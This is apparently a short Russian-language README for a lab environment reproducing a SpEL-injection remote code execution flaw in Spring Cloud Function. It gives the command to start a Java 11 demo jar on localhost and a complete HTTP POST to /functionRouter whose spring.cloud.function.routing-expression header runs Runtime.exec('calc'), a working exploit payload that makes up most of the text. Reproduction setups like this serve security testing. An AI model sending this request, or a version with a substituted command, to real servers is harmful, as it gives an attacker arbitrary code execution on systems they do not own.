
Среда воспроизведения и proof-of-concept для SpEL-инъекции в Spring Cloud Function, приводящей к удалённому выполнению кода, с запускаемой Java 11 демонстрацией и примером HTTP-запроса.
Подробности можно посмотреть в личном блоге https://pizz33.github.io/
Тестовая среда для инъекции выражения SpEL в Spring Cloud Function
Версия java11, запуск: java -jar demo-0.0.1-SNAPSHOT.jar
После сборки откройте порт 127.0.0.1:8080

POST /functionRouter HTTP/1.1
Host: 127.0.0.1:8080
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc")
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
xxx
